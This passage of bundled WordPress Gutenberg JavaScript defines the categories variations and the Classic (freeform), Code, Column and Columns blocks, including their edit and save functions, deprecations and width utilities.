        // which is `category` -- for which we're defining a distinct variation below,
        // for backwards compatibility reasons.
        // The logical fallback is thus the only other built-in and public taxonomy: Tags.
        taxonomy: "post_tag"
      },
      isActive: (blockAttributes8) => (
        // This variation is used for any taxonomy other than `category`.
        blockAttributes8.taxonomy !== "category"
      )
    },
    {
      name: "categories",
      title: (0, import_i18n18.__)("Categories List"),
      description: (0, import_i18n18.__)("Display a list of all categories."),
      icon: category_default,
      attributes: {
        taxonomy: "category"
      },
      isActive: ["taxonomy"],
      // The following is needed to prevent "Terms List" from showing up twice in the inserter
      // (once for the block, once for the variation). Fortunately, it does not collide with
      // `categories` being the default value of the `taxonomy` attribute.
      isDefault: true
    }
  ];
  var variations_default = variations;

  // packages/block-library/build-module/categories/index.mjs
  var { name: name12 } = block_default13;
  var settings12 = {
    icon: category_default,
    example: {},
    edit: CategoriesEdit,
    variations: variations_default
  };
  var init12 = () => initBlock({ name: name12, metadata: block_default13, settings: settings12 });

  // packages/block-library/build-module/freeform/index.mjs
  var freeform_exports = {};
  __export(freeform_exports, {
    init: () => init13,
    metadata: () => block_default14,
    name: () => name13,
    settings: () => settings13
  });

  // packages/block-library/build-module/freeform/edit.mjs
  var import_block_editor30 = __toESM(require_block_editor(), 1);
  var import_data17 = __toESM(require_data(), 1);
  var import_components15 = __toESM(require_components(), 1);
  var import_element12 = __toESM(require_element(), 1);
  var import_i18n21 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/freeform/convert-to-blocks-button.mjs
  var import_i18n19 = __toESM(require_i18n(), 1);
  var import_components13 = __toESM(require_components(), 1);
  var import_data15 = __toESM(require_data(), 1);
  var import_blocks13 = __toESM(require_blocks(), 1);
  var import_block_editor28 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime183 = __toESM(require_jsx_runtime(), 1);
  var ConvertToBlocksButton = ({ clientId }) => {
    const { replaceBlocks } = (0, import_data15.useDispatch)(import_block_editor28.store);
    const block = (0, import_data15.useSelect)(
      (select9) => {
        return select9(import_block_editor28.store).getBlock(clientId);
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
      import_components13.ToolbarButton,
      {
        onClick: () => replaceBlocks(
          block.clientId,
          (0, import_blocks13.rawHandler)({ HTML: (0, import_blocks13.serialize)(block) })
        ),
        children: (0, import_i18n19.__)("Convert to blocks")
      }
    );
  };
  var convert_to_blocks_button_default = ConvertToBlocksButton;

  // packages/block-library/build-module/freeform/modal.mjs
  var import_block_editor29 = __toESM(require_block_editor(), 1);
  var import_components14 = __toESM(require_components(), 1);
  var import_element11 = __toESM(require_element(), 1);
  var import_i18n20 = __toESM(require_i18n(), 1);
  var import_data16 = __toESM(require_data(), 1);
  var import_compose11 = __toESM(require_compose(), 1);
  var import_jsx_runtime184 = __toESM(require_jsx_runtime(), 1);
  function ModalAuxiliaryActions({ onClick, isModalFullScreen }) {
    const isMobileViewport = (0, import_compose11.useViewportMatch)("small", "<");
    if (isMobileViewport) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
      import_components14.Button,
      {
        size: "compact",
        onClick,
        icon: fullscreen_default,
        isPressed: isModalFullScreen,
        label: isModalFullScreen ? (0, import_i18n20.__)("Exit fullscreen") : (0, import_i18n20.__)("Enter fullscreen")
      }
    );
  }
  function ClassicEdit(props) {
    const styles = (0, import_data16.useSelect)(
      (select9) => select9(import_block_editor29.store).getSettings().styles
    );
    (0, import_element11.useEffect)(() => {
      const { baseURL, suffix, settings: settings122 } = window.wpEditorL10n.tinymce;
      window.tinymce.EditorManager.overrideDefaults({
        base_url: baseURL,
        suffix
      });
      window.wp.oldEditor.initialize(props.id, {
        tinymce: {
          ...settings122,
          setup(editor) {
            editor.on("init", () => {
              const doc = editor.getDoc();
              styles.forEach(({ css }) => {
                const styleEl = doc.createElement("style");
                styleEl.innerHTML = css;
                doc.head.appendChild(styleEl);
              });
            });
          }
        }
      });
      return () => {
        window.wp.oldEditor.remove(props.id);
      };
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)("textarea", { ...props });
  }
  function ModalEdit({ clientId, content, onClose, onChange }) {
    const [isModalFullScreen, setIsModalFullScreen] = (0, import_element11.useState)(false);
    const id = `editor-${clientId}`;
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsxs)(
      import_components14.Modal,
      {
        title: (0, import_i18n20.__)("Classic Editor"),
        onRequestClose: onClose,
        shouldCloseOnClickOutside: false,
        overlayClassName: "block-editor-freeform-modal",
        isFullScreen: isModalFullScreen,
        className: "block-editor-freeform-modal__content",
        headerActions: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
          ModalAuxiliaryActions,
          {
            onClick: () => setIsModalFullScreen(!isModalFullScreen),
            isModalFullScreen
          }
        ),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(ClassicEdit, { id, defaultValue: content }),
          /* @__PURE__ */ (0, import_jsx_runtime184.jsxs)(
            import_components14.Flex,
            {
              className: "block-editor-freeform-modal__actions",
              justify: "flex-end",
              expanded: false,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(import_components14.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
                  import_components14.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: "tertiary",
                    onClick: onClose,
                    children: (0, import_i18n20.__)("Cancel")
                  }
                ) }),
                /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(import_components14.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
                  import_components14.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: "primary",
                    onClick: () => {
                      onChange(window.wp.oldEditor.getContent(id));
                      onClose();
                    },
                    children: (0, import_i18n20.__)("Save")
                  }
                ) })
              ]
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/freeform/edit.mjs
  var import_jsx_runtime185 = __toESM(require_jsx_runtime(), 1);
  function FreeformEdit({
    attributes: attributes2,
    setAttributes,
    clientId
  }) {
    const { content } = attributes2;
    const [isOpen, setOpen] = (0, import_element12.useState)(false);
    const editButtonRef = (0, import_element12.useRef)(null);
    const canRemove = (0, import_data17.useSelect)(
      (select9) => select9(import_block_editor30.store).canRemoveBlock(clientId),
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(import_jsx_runtime185.Fragment, { children: [
      canRemove && /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_components15.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(convert_to_blocks_button_default, { clientId }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_components15.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
        import_components15.ToolbarButton,
        {
          ref: editButtonRef,
          onClick: () => setOpen(true),
          children: (0, import_i18n21.__)("Edit")
        }
      ) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)("div", { ...(0, import_block_editor30.useBlockProps)(), children: [
        content ? /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_element12.RawHTML, { children: content }) : /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
          import_components15.Placeholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockIcon, { icon: classic_default }),
            label: (0, import_i18n21.__)("Classic"),
            instructions: (0, import_i18n21.__)(
              "Use the classic editor to add content."
            ),
            children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
              import_components15.Button,
              {
                __next40pxDefaultSize: true,
                variant: "primary",
                onClick: () => setOpen(true),
                children: (0, import_i18n21.__)("Edit contents")
              }
            )
          }
        ),
        isOpen && /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
          ModalEdit,
          {
            clientId,
            content,
            onClose: () => {
              setOpen(false);
              if (editButtonRef.current) {
                editButtonRef.current.focus();
              }
            },
            onChange: (newContent) => setAttributes({ content: newContent })
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/freeform/block.json
  var block_default14 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/freeform",
    title: "Classic",
    category: "text",
    description: "Use the classic WordPress editor.",
    textdomain: "default",
    attributes: {
      content: {
        type: "string",
        source: "raw"
      }
    },
    supports: {
      className: false,
      customClassName: false,
      lock: false,
      reusable: false,
      renaming: false,
      visibility: false,
      customCSS: false
    },
    editorStyle: "wp-block-freeform-editor"
  };

  // packages/block-library/build-module/freeform/save.mjs
  var import_element13 = __toESM(require_element(), 1);
  var import_jsx_runtime186 = __toESM(require_jsx_runtime(), 1);
  function save8({ attributes: attributes2 }) {
    const { content } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(import_element13.RawHTML, { children: content });
  }

  // packages/block-library/build-module/freeform/index.mjs
  var { name: name13 } = block_default14;
  var settings13 = {
    icon: classic_default,
    edit: FreeformEdit,
    save: save8
  };
  var init13 = () => initBlock({ name: name13, metadata: block_default14, settings: settings13 });

  // packages/block-library/build-module/code/index.mjs
  var code_exports = {};
  __export(code_exports, {
    init: () => init14,
    metadata: () => block_default15,
    name: () => name14,
    settings: () => settings14
  });
  var import_i18n23 = __toESM(require_i18n(), 1);
  var import_blocks16 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/code/edit.mjs
  var import_i18n22 = __toESM(require_i18n(), 1);
  var import_block_editor31 = __toESM(require_block_editor(), 1);
  var import_blocks14 = __toESM(require_blocks(), 1);
  var import_jsx_runtime187 = __toESM(require_jsx_runtime(), 1);
  function CodeEdit({
    attributes: attributes2,
    setAttributes,
    onRemove,
    insertBlocksAfter,
    mergeBlocks
  }) {
    const blockProps = (0, import_block_editor31.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)("pre", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
      import_block_editor31.RichText,
      {
        tagName: "code",
        identifier: "content",
        value: attributes2.content,
        onChange: (content) => setAttributes({ content }),
        onRemove,
        onMerge: mergeBlocks,
        placeholder: (0, import_i18n22.__)("Write code\u2026"),
        "aria-label": (0, import_i18n22.__)("Code"),
        preserveWhiteSpace: true,
        __unstablePastePlainText: true,
        __unstableOnSplitAtDoubleLineEnd: () => insertBlocksAfter((0, import_blocks14.createBlock)((0, import_blocks14.getDefaultBlockName)()))
      }
    ) });
  }

  // packages/block-library/build-module/code/block.json
  var block_default15 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/code",
    title: "Code",
    category: "text",
    description: "Display code snippets that respect your spacing and tabs.",
    textdomain: "default",
    attributes: {
      content: {
        type: "rich-text",
        source: "rich-text",
        selector: "code",
        __unstablePreserveWhiteSpace: true,
        role: "content"
      }
    },
    supports: {
      align: ["wide"],
      anchor: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: ["top", "bottom"],
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          width: true,
          color: true
        }
      },
      color: {
        text: true,
        background: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-code"
  };

  // packages/block-library/build-module/code/save.mjs
  var import_block_editor32 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/code/utils.mjs
  var import_compose12 = __toESM(require_compose(), 1);
  function escape(content) {
    return (0, import_compose12.pipe)(
      escapeOpeningSquareBrackets,
      escapeProtocolInIsolatedUrls
    )(content || "");
  }
  function escapeOpeningSquareBrackets(content) {
    return content.replace(/\[/g, "&#91;");
  }
  function escapeProtocolInIsolatedUrls(content) {
    return content.replace(
      /^(\s*https?:)\/\/([^\s<>"]+\s*)$/m,
      "$1&#47;&#47;$2"
    );
  }

  // packages/block-library/build-module/code/save.mjs
  var import_jsx_runtime188 = __toESM(require_jsx_runtime(), 1);
  function save9({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("pre", { ...import_block_editor32.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime188.jsx)(
      import_block_editor32.RichText.Content,
      {
        tagName: "code",
        value: escape(
          typeof attributes2.content === "string" ? attributes2.content : attributes2.content.toHTMLString({
            preserveWhiteSpace: true
          })
        )
      }
    ) });
  }

  // packages/block-library/build-module/code/transforms.mjs
  var import_blocks15 = __toESM(require_blocks(), 1);
  var import_rich_text2 = __toESM(require_rich_text(), 1);
  var transforms4 = {
    from: [
      {
        type: "input",
        regExp: /^```$/,
        transform: () => (0, import_blocks15.createBlock)("core/code")
      },
      {
        type: "block",
        blocks: ["core/paragraph"],
        transform: (attributes2) => {
          const { content } = attributes2;
          return (0, import_blocks15.createBlock)("core/code", {
            ...attributes2,
            ...getTransformedAttributes(attributes2, "core/code"),
            content
          });
        }
      },
      {
        type: "block",
        blocks: ["core/html"],
        transform: (attributes2) => {
          const { content: text } = attributes2;
          return (0, import_blocks15.createBlock)("core/code", {
            ...attributes2,
            ...getTransformedAttributes(attributes2, "core/code"),
            // The HTML is plain text (with plain line breaks), so
            // convert it to rich text.
            content: (0, import_rich_text2.toHTMLString)({ value: (0, import_rich_text2.create)({ text }) })
          });
        }
      },
      {
        type: "raw",
        isMatch: (node) => node.nodeName === "PRE" && node.children.length === 1 && node.firstChild.nodeName === "CODE",
        schema: {
          pre: {
            children: {
              code: {
                children: {
                  "#text": {}
                }
              }
            }
          }
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/paragraph"],
        transform: (attributes2) => {
          const { content } = attributes2;
          return (0, import_blocks15.createBlock)("core/paragraph", {
            ...getTransformedAttributes(attributes2, "core/paragraph"),
            content
          });
        }
      }
    ]
  };
  var transforms_default4 = transforms4;

  // packages/block-library/build-module/code/index.mjs
  var { fieldsKey: fieldsKey3, formKey: formKey3 } = unlock(import_blocks16.privateApis);
  var { name: name14 } = block_default15;
  var settings14 = {
    icon: code_default,
    example: {
      attributes: {
        /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
        // translators: Preserve \n markers for line breaks
        content: (0, import_i18n23.__)(
          "// A \u201Cblock\u201D is the abstract term used\n// to describe units of markup that\n// when composed together, form the\n// content or layout of a page.\nregisterBlockType( name, settings );"
        )
        /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
      }
    },
    merge(attributes2, attributesToMerge) {
      return {
        content: attributes2.content + "\n\n" + attributesToMerge.content
      };
    },
    transforms: transforms_default4,
    edit: CodeEdit,
    save: save9
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings14[fieldsKey3] = [
      {
        id: "content",
        label: (0, import_i18n23.__)("Code"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings14[formKey3] = {
      fields: ["content"]
    };
  }
  var init14 = () => initBlock({ name: name14, metadata: block_default15, settings: settings14 });

  // packages/block-library/build-module/column/index.mjs
  var column_exports = {};
  __export(column_exports, {
    init: () => init15,
    metadata: () => block_default16,
    name: () => name15,
    settings: () => settings15
  });

  // packages/block-library/build-module/column/deprecated.mjs
  var import_block_editor33 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime189 = __toESM(require_jsx_runtime(), 1);
  var deprecated4 = [
    {
      attributes: {
        verticalAlignment: {
          type: "string"
        },
        width: {
          type: "number",
          min: 0,
          max: 100
        }
      },
      isEligible({ width }) {
        return isFinite(width);
      },
      migrate(attributes2) {
        return {
          ...attributes2,
          width: `${attributes2.width}%`
        };
      },
      save({ attributes: attributes2 }) {
        const { verticalAlignment, width } = attributes2;
        const wrapperClasses = clsx_default({
          [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        const style2 = { flexBasis: width + "%" };
        return /* @__PURE__ */ (0, import_jsx_runtime189.jsx)("div", { className: wrapperClasses, style: style2, children: /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(import_block_editor33.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default5 = deprecated4;

  // packages/block-library/build-module/column/edit.mjs
  var import_block_editor34 = __toESM(require_block_editor(), 1);
  var import_components16 = __toESM(require_components(), 1);
  var import_data18 = __toESM(require_data(), 1);
  var import_i18n24 = __toESM(require_i18n(), 1);
  var import_jsx_runtime190 = __toESM(require_jsx_runtime(), 1);
  function ColumnInspectorControls({ width, setAttributes }) {
    const [availableUnits] = (0, import_block_editor34.useSettings)("spacing.units");
    const units = (0, import_components16.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || ["%", "px", "em", "rem", "vw"]
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
      import_components16.__experimentalToolsPanel,
      {
        label: (0, import_i18n24.__)("Settings"),
        resetAll: () => {
          setAttributes({ width: void 0 });
        },
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
          import_components16.__experimentalToolsPanelItem,
          {
            hasValue: () => width !== void 0,
            label: (0, import_i18n24.__)("Width"),
            onDeselect: () => setAttributes({ width: void 0 }),
            isShownByDefault: true,
            children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
              import_components16.__experimentalUnitControl,
              {
                label: (0, import_i18n24.__)("Width"),
                __unstableInputWidth: "calc(50% - 8px)",
                __next40pxDefaultSize: true,
                value: width || "",
                onChange: (nextWidth) => {
                  nextWidth = 0 > parseFloat(nextWidth) ? "0" : nextWidth;
                  setAttributes({ width: nextWidth });
                },
                units
              }
            )
          }
        )
      }
    );
  }
  function ColumnEdit({
    attributes: { verticalAlignment, width, templateLock, allowedBlocks },
    setAttributes,
    clientId
  }) {
    const classes = clsx_default("block-core-columns", {
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
    });
    const { columnsIds, hasChildBlocks, rootClientId } = (0, import_data18.useSelect)(
      (select9) => {
        const { getBlockOrder, getBlockRootClientId } = select9(import_block_editor34.store);
        const rootId = getBlockRootClientId(clientId);
        return {
          hasChildBlocks: getBlockOrder(clientId).length > 0,
          rootClientId: rootId,
          columnsIds: getBlockOrder(rootId)
        };
      },
      [clientId]
    );
    const { updateBlockAttributes } = (0, import_data18.useDispatch)(import_block_editor34.store);
    const updateAlignment = (value) => {
      setAttributes({ verticalAlignment: value });
      updateBlockAttributes(rootClientId, {
        verticalAlignment: null
      });
    };
    const widthWithUnit = Number.isFinite(width) ? width + "%" : width;
    const blockProps = (0, import_block_editor34.useBlockProps)({
      className: classes,
      style: widthWithUnit ? { flexBasis: widthWithUnit } : void 0
    });
    const columnsCount = columnsIds.length;
    const currentColumnPosition = columnsIds.indexOf(clientId) + 1;
    const label = (0, import_i18n24.sprintf)(
      /* translators: 1: Block label (i.e. "Block: Column"), 2: Position of the selected block, 3: Total number of sibling blocks of the same type */
      (0, import_i18n24.__)("%1$s (%2$d of %3$d)"),
      blockProps["aria-label"],
      currentColumnPosition,
      columnsCount
    );
    const innerBlocksProps = (0, import_block_editor34.useInnerBlocksProps)(
      { ...blockProps, "aria-label": label },
      {
        templateLock,
        allowedBlocks,
        renderAppender: hasChildBlocks ? void 0 : import_block_editor34.InnerBlocks.ButtonBlockAppender
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(import_jsx_runtime190.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_block_editor34.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
        import_block_editor34.BlockVerticalAlignmentToolbar,
        {
          onChange: updateAlignment,
          value: verticalAlignment,
          controls: ["top", "center", "bottom", "stretch"]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_block_editor34.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
        ColumnInspectorControls,
        {
          width,
          setAttributes
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)("div", { ...innerBlocksProps })
    ] });
  }
  var edit_default4 = ColumnEdit;

  // packages/block-library/build-module/column/block.json
  var block_default16 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/column",
    title: "Column",
    category: "design",
    parent: ["core/columns"],
    description: "A single column within a columns block.",
    textdomain: "default",
    attributes: {
      verticalAlignment: {
        type: "string"
      },
      width: {
        type: "string"
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      }
    },
    supports: {
      __experimentalOnEnter: true,
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        heading: true,
        button: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      shadow: true,
      spacing: {
        blockGap: true,
        padding: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: true,
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    }
  };

  // packages/block-library/build-module/column/save.mjs
  var import_block_editor35 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime191 = __toESM(require_jsx_runtime(), 1);
  function save10({ attributes: attributes2 }) {
    const { verticalAlignment, width } = attributes2;
    const wrapperClasses = clsx_default({
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
    });
    let style2;
    if (width && /\d/.test(width)) {
      let flexBasis = Number.isFinite(width) ? width + "%" : width;
      if (!Number.isFinite(width) && width?.endsWith("%")) {
        const multiplier = 1e12;
        flexBasis = Math.round(Number.parseFloat(width) * multiplier) / multiplier + "%";
      }
      style2 = { flexBasis };
    }
    const blockProps = import_block_editor35.useBlockProps.save({
      className: wrapperClasses,
      style: style2
    });
    const innerBlocksProps = import_block_editor35.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/column/index.mjs
  var { name: name15 } = block_default16;
  var settings15 = {
    icon: column_default,
    edit: edit_default4,
    save: save10,
    deprecated: deprecated_default5
  };
  var init15 = () => initBlock({ name: name15, metadata: block_default16, settings: settings15 });

  // packages/block-library/build-module/columns/index.mjs
  var columns_exports = {};
  __export(columns_exports, {
    init: () => init16,
    metadata: () => block_default17,
    name: () => name16,
    settings: () => settings16
  });
  var import_i18n27 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/columns/deprecated.mjs
  var import_blocks17 = __toESM(require_blocks(), 1);
  var import_block_editor36 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime192 = __toESM(require_jsx_runtime(), 1);
  function getDeprecatedLayoutColumn(originalContent) {
    let { doc } = getDeprecatedLayoutColumn;
    if (!doc) {
      doc = document.implementation.createHTMLDocument("");
      getDeprecatedLayoutColumn.doc = doc;
    }
    let columnMatch;
    doc.body.innerHTML = originalContent;
    for (const classListItem of doc.body.firstChild.classList) {
      if (columnMatch = classListItem.match(/^layout-column-(\d+)$/)) {
        return Number(columnMatch[1]) - 1;
      }
    }
  }
  var migrateCustomColors = (attributes2) => {
    if (!attributes2.customTextColor && !attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    const { customTextColor, customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2,
      isStackedOnMobile: true
    };
  };
  var deprecated_default6 = [
    {
      attributes: {
        verticalAlignment: {
          type: "string"
        },
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        }
      },
      migrate: migrateCustomColors,
      save({ attributes: attributes2 }) {
        const {
          verticalAlignment,
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor36.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const textClass = (0, import_block_editor36.getColorClassName)("color", textColor);
        const className = clsx_default({
          "has-background": backgroundColor || customBackgroundColor,
          "has-text-color": textColor || customTextColor,
          [backgroundClass]: backgroundClass,
          [textClass]: textClass,
          [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        const style2 = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(
          "div",
          {
            className: className ? className : void 0,
            style: style2,
            children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {})
          }
        );
      }
    },
    {
      attributes: {
        columns: {
          type: "number",
          default: 2
        }
      },
      isEligible(attributes2, innerBlocks) {
        const isFastPassEligible = innerBlocks.some(
          (innerBlock) => /layout-column-\d+/.test(innerBlock.originalContent)
        );
        if (!isFastPassEligible) {
          return false;
        }
        return innerBlocks.some(
          (innerBlock) => getDeprecatedLayoutColumn(innerBlock.originalContent) !== void 0
        );
      },
      migrate(attributes2, innerBlocks) {
        const columns = innerBlocks.reduce((accumulator, innerBlock) => {
          const { originalContent } = innerBlock;
          let columnIndex = getDeprecatedLayoutColumn(originalContent);
          if (columnIndex === void 0) {
            columnIndex = 0;
          }
          if (!accumulator[columnIndex]) {
            accumulator[columnIndex] = [];
          }
          accumulator[columnIndex].push(innerBlock);
          return accumulator;
        }, []);
        const migratedInnerBlocks = columns.map(
          (columnBlocks) => (0, import_blocks17.createBlock)("core/column", {}, columnBlocks)
        );
        const { columns: ignoredColumns, ...restAttributes } = attributes2;
        return [
          {
            ...restAttributes,
            isStackedOnMobile: true
          },
          migratedInnerBlocks
        ];
      },
      save({ attributes: attributes2 }) {
        const { columns } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)("div", { className: `has-${columns}-columns`, children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {}) });
      }
    },
    {
      attributes: {
        columns: {
          type: "number",
          default: 2
        }
      },
      migrate(attributes2, innerBlocks) {
        const { columns, ...restAttributes } = attributes2;
        attributes2 = {
          ...restAttributes,
          isStackedOnMobile: true
        };
        return [attributes2, innerBlocks];
      },
      save({ attributes: attributes2 }) {
        const { verticalAlignment, columns } = attributes2;
        const wrapperClasses = clsx_default(`has-${columns}-columns`, {
          [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)("div", { className: wrapperClasses, children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {}) });
      }
    }
  ];

  // packages/block-library/build-module/columns/edit.mjs
  var import_i18n25 = __toESM(require_i18n(), 1);
  var import_components17 = __toESM(require_components(), 1);
  var import_block_editor37 = __toESM(require_block_editor(), 1);
  var import_data19 = __toESM(require_data(), 1);
  var import_blocks18 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/columns/utils.mjs
  var toWidthPrecision = (value) => {
    const unitlessValue = parseFloat(value);
    return Number.isFinite(unitlessValue) ? parseFloat(unitlessValue.toFixed(2)) : void 0;
  };
  function getEffectiveColumnWidth(block, totalBlockCount) {
    const { width = 100 / totalBlockCount } = block.attributes;
    return toWidthPrecision(width);
  }
  function getTotalColumnsWidth(blocks, totalBlockCount = blocks.length) {
    return blocks.reduce(
      (sum, block) => sum + getEffectiveColumnWidth(block, totalBlockCount),
      0
    );
  }
  function getColumnWidths(blocks, totalBlockCount = blocks.length) {
    return blocks.reduce((accumulator, block) => {
      const width = getEffectiveColumnWidth(block, totalBlockCount);
      return Object.assign(accumulator, { [block.clientId]: width });
    }, {});
  }
  function getRedistributedColumnWidths(blocks, availableWidth, totalBlockCount = blocks.length) {
    const totalWidth = getTotalColumnsWidth(blocks, totalBlockCount);
    return Object.fromEntries(
      Object.entries(getColumnWidths(blocks, totalBlockCount)).map(
        ([clientId, width]) => {
          const newWidth = availableWidth * width / totalWidth;
          return [clientId, toWidthPrecision(newWidth)];
        }
      )
    );
  }
  function hasExplicitPercentColumnWidths(blocks) {
    return blocks.every((block) => {
      const blockWidth = block.attributes.width;
      return Number.isFinite(
        blockWidth?.endsWith?.("%") ? parseFloat(blockWidth) : blockWidth
      );
    });
  }
  function getMappedColumnWidths(blocks, widths) {
    return blocks.map((block) => ({
      ...block,
      attributes: {
        ...block.attributes,
        width: `${widths[block.clientId]}%`
      }
    }));
  }

  // packages/block-library/build-module/columns/edit.mjs
  var import_jsx_runtime193 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK2 = {
    name: "core/column"
  };
  function ColumnInspectorControls2({
    clientId,
    setAttributes,
    isStackedOnMobile
  }) {
